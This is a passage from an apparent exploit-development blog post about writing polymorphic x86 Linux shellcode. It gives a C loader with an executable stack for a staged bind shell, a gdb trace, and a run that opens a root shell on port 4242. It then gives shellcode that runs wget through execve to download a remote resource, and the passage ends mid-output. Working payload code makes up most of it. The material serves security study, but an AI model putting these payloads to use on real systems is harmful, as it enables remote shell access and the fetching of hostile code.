</span><span class='line'>cc -DSHELLCODE<span class="o">=</span><span class="sb">`</span>asm-opcodes 369<span class="sb">`</span> -DSTAGE2<span class="o">=</span><span class="sb">`</span>asm-opcodes ../0x01-bind/bind<span class="sb">`</span> -W -Wall -fno-stack-protector -zexecstack -o shellcode 369.c
</span></code></pre></td></tr></table></div></figure>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="cp">#include <sys/shm.h></span>
</span><span class='line'>
</span><span class='line'><span class="cp">#include <err.h></span>
</span><span class='line'><span class="cp">#include <stdio.h></span>
</span><span class='line'><span class="cp">#include <string.h></span>
</span><span class='line'>
</span><span class='line'><span class="cp">#define QUOTE(s) #s</span>
</span><span class='line'><span class="cp">#define SHM_SIZE 512</span>
</span><span class='line'><span class="cp">#define STR(s) QUOTE(s)</span>
</span><span class='line'>
</span><span class='line'><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="n">STR</span><span class="p">(</span><span class="n">SHELLCODE</span><span class="p">);</span>
</span><span class='line'><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">stage2</span><span class="p">[]</span> <span class="o">=</span> <span class="n">STR</span><span class="p">(</span><span class="n">STAGE2</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="kt">int</span>
</span><span class='line'><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'> <span class="kt">int</span> <span class="n">shmid</span><span class="p">;</span>
</span><span class='line'> <span class="kt">void</span> <span class="o">*</span><span class="n">addr</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'> <span class="k">if</span> <span class="p">((</span><span class="n">shmid</span> <span class="o">=</span> <span class="n">shmget</span><span class="p">(</span><span class="mh">0xcafebabe</span><span class="p">,</span> <span class="n">SHM_SIZE</span><span class="p">,</span> <span class="mo">0644</span><span class="o">|</span><span class="n">IPC_CREAT</span><span class="p">))</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</span><span class='line'> <span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"shmget"</span><span class="p">);</span>
</span><span class='line'> <span class="k">if</span> <span class="p">((</span><span class="n">addr</span> <span class="o">=</span> <span class="n">shmat</span><span class="p">(</span><span class="n">shmid</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</span><span class='line'> <span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"shmat"</span><span class="p">);</span>
</span><span class='line'> <span class="n">memcpy</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">stage2</span><span class="p">,</span> <span class="n">SHM_SIZE</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'> <span class="n">printf</span><span class="p">(</span><span class="s">"Shellcode length: %zu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="k">sizeof</span> <span class="n">shellcode</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span><span class='line'> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">void</span><span class="p">))</span> <span class="n">shellcode</span><span class="p">)();</span>
</span><span class='line'>
</span><span class='line'> <span class="k">return</span> <span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>
<p>Breaking just before the jmp call, the contents of the second stage shellcode are correctly referenced:</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="o">(</span>gdb<span class="o">)</span> b *0x00402085
</span><span class='line'>Breakpoint <span class="m">2</span> at 0x402085
</span><span class='line'><span class="o">(</span>gdb<span class="o">)</span> <span class="k">continue</span>
</span><span class='line'>Continuing.
</span><span class='line'>Dump of assembler code <span class="k">for</span> <span class="k">function</span> shellcode:
</span><span class='line'> 0x00402060 <+0>: xor eax,eax
</span><span class='line'> 0x00402062 <+2>: cdq
</span><span class='line'> 0x00402063 <+3>: lea ebx,<span class="o">[</span>eax<span class="o">]</span>
</span><span class='line'> 0x00402065 <+5>: and esi,ebx
</span><span class='line'> 0x00402067 <+7>: sub edi,edi
</span><span class='line'> 0x00402069 <+9>: xor ebp,ebp
</span><span class='line'> 0x0040206b <+11>: mov ecx,0x35014542
</span><span class='line'> 0x00402070 <+16>: neg ecx
</span><span class='line'> 0x00402072 <+18>: add bl,0x17
</span><span class='line'> 0x00402075 <+21>: or al,0x75
</span><span class='line'> 0x00402077 <+23>: int 0x80
</span><span class='line'> 0x00402079 <+25>: mov esi,esp
</span><span class='line'> 0x0040207b <+27>: mov ecx,eax
</span><span class='line'> 0x0040207d <+29>: dec ebx
</span><span class='line'> 0x0040207e <+30>: dec ebx
</span><span class='line'> 0x0040207f <+31>: and eax,ebp
</span><span class='line'> 0x00402081 <+33>: add al,0x75
</span><span class='line'> 0x00402083 <+35>: int <span class="nv">0x80</span>
</span><span class='line'><span class="o">=</span>> 0x00402085 <+37>: jmp DWORD PTR <span class="o">[</span>esi<span class="o">]</span>
</span><span class='line'> 0x00402087 <+39>: add BYTE PTR <span class="o">[</span>eax<span class="o">]</span>,al
</span><span class='line'>End of assembler dump.
</span><span class='line'><span class="nv">$2</span> <span class="o">=</span> <span class="o">[</span> IF <span class="o">]</span>
</span><span class='line'>
</span><span class='line'>Breakpoint 2, 0x00402085 in shellcode <span class="o">()</span>
</span><span class='line'><span class="o">(</span>gdb<span class="o">)</span> i r esi
</span><span class='line'>esi 0xbffff62c -1073744340
</span><span class='line'><span class="o">(</span>gdb<span class="o">)</span> x/10i *<span class="nv">$esi</span>
</span><span class='line'> 0xb7fd2000: xor eax,eax
</span><span class='line'> 0xb7fd2002: xor esi,esi
</span><span class='line'> 0xb7fd2004: cdq
</span><span class='line'> 0xb7fd2005: mov ax,0x167
</span><span class='line'> 0xb7fd2009: push 0x2
</span><span class='line'> 0xb7fd200b: pop ebx
</span><span class='line'> 0xb7fd200c: push 0x1
</span><span class='line'> 0xb7fd200e: pop ecx
</span><span class='line'> 0xb7fd200f: int 0x80
</span><span class='line'> 0xb7fd2011: xchg ebx,eax
</span></code></pre></td></tr></table></div></figure>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="c"># ./shellcode</span>
</span><span class='line'>Shellcode length: 39
</span><span class='line'>Second stage length: 82
</span><span class='line'><span class="nv">$ </span>ss -nlt<span class="p">|</span>grep 4242
</span><span class='line'>LISTEN <span class="m">0</span> <span class="m">0</span> *:4242 *:*
</span><span class='line'><span class="nv">$ </span>nc -v 127.0.0.1 4242
</span><span class='line'>Connection to 127.0.0.1 <span class="m">4242</span> port <span class="o">[</span>tcp/*<span class="o">]</span> succeeded!
</span><span class='line'>id
</span><span class='line'><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
</span></code></pre></td></tr></table></div></figure>
<h3>2. Remote file download (611)</h3>
<p>The objective of <a href="http://shell-storm.org/shellcode/files/shellcode-611.php">this</a> one consists in calling /usr/bin/wget via <a href="http://man7.org/linux/man-pages/man2/execve.2.html">execve(2)</a> and fetch the remote <strong>aaaa</strong> resource. It’s size is <strong>42 bytes</strong>, meaning that its morphed code must be at the most <strong>63 bytes</strong>.</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
</pre></td><td class='code'><pre><code class='asm'><span class='line'><span class="nf">global</span> <span class="no">_start</span>
</span><span class='line'>
</span><span class='line'><span class="nf">section</span> <span class="no">.text</span>
</span><span class='line'><span class="nl">_start:</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">byte</span> <span class="err">+</span><span class="mi">0xb</span>
</span><span class='line'> <span class="nf">pop</span> <span class="no">eax</span>
</span><span class='line'> <span class="err">;</span> <span class="nf">int</span> <span class="no">execve</span><span class="p">(</span><span class="no">const</span> <span class="no">char</span> <span class="p">*,</span> <span class="no">char</span> <span class="p">*</span><span class="no">const</span> <span class="err">[]</span><span class="p">,</span> <span class="no">char</span> <span class="p">*</span><span class="no">const</span> <span class="err">[]</span><span class="p">)</span>
</span><span class='line'> <span class="nf">cdq</span> <span class="err">;</span> <span class="no">set</span> <span class="no">edx</span> <span class="no">to</span> <span class="no">zero</span><span class="p">,</span> <span class="no">as</span> <span class="no">well</span>
</span><span class='line'>
</span><span class='line'> <span class="nf">push</span> <span class="no">edx</span> <span class="err">;</span> <span class="no">push</span> <span class="no">the</span> <span class="no">terminating</span> <span class="no">nul</span> <span class="no">byte</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">dword</span> <span class="mi">0x61616161</span> <span class="err">;</span> <span class="no">aaaa</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">ecx</span><span class="p">,</span> <span class="no">esp</span> <span class="err">;</span> <span class="no">save</span> <span class="no">address</span> <span class="no">of</span> <span class="no">arguments</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">edx</span> <span class="err">;</span> <span class="no">push</span> <span class="no">the</span> <span class="no">terminating</span> <span class="no">nul</span> <span class="no">byte</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">byte</span> <span class="err">+</span><span class="mi">0x74</span> <span class="err">;</span> <span class="no">t</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">dword</span> <span class="mi">0x6567772f</span> <span class="err">;</span> <span class="err">/</span><span class="no">wge</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">dword</span> <span class="mi">0x6e69622f</span> <span class="err">;</span> <span class="err">/</span><span class="no">bin</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">dword</span> <span class="mi">0x7273752f</span> <span class="err">;</span> <span class="err">/</span><span class="no">usr</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">ebx</span><span class="p">,</span> <span class="no">esp</span> <span class="err">;</span> <span class="no">filename</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">edx</span> <span class="err">;</span> <span class="no">push</span> <span class="no">the</span> <span class="no">terminating</span> <span class="no">nul</span> <span class="no">byte</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">ecx</span> <span class="err">;</span> <span class="no">push</span> <span class="no">the</span> <span class="no">address</span> <span class="no">of</span> <span class="no">the</span> <span class="no">arguments</span>
</span><span class='line'> <span class="nf">push</span> <span class="no">ebx</span> <span class="err">;</span> <span class="no">push</span> <span class="no">the</span> <span class="no">address</span> <span class="no">of</span> <span class="no">the</span> <span class="no">filename</span>
</span><span class='line'> <span class="nf">mov</span> <span class="no">ecx</span><span class="p">,</span> <span class="no">esp</span> <span class="err">;</span> <span class="no">argv</span>
</span><span class='line'> <span class="err">;</span> <span class="nf">edx</span> <span class="no">is</span> <span class="no">already</span> <span class="no">zero</span> <span class="no">from</span> <span class="no">the</span> <span class="no">above</span> <span class="no">cdq</span> <span class="no">instruction</span>
</span><span class='line'> <span class="nf">int</span> <span class="mi">0x80</span>
</span><span class='line'>
</span><span class='line'> <span class="nf">inc</span> <span class="no">eax</span>
</span><span class='line'> <span class="nf">int</span> <span class="mi">0x80</span>
</span></code></pre></td></tr></table></div></figure>
<p>Trying to execute it does, indeed, fetch the remote resource. In the modified shellcode I’ve opted to remove the last two instructions, since if the <a href="http://man7.org/linux/man-pages/man2/execve.2.html">execve(2)</a> system call fails -1 is returned, thus incrementing eax would make the code call <a href="http://man7.org/linux/man-pages/man2/restart_syscall.2.html">restart_syscall(2)</a>.</p>
<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>./611
</span><span class='line'>--2018-08-08 22:00:10-- http://aaaa/
</span><span class='line'>Resolving aaaa <span class="o">(</span>aaaa<span class="o">)</span>... failed: Name or service not known.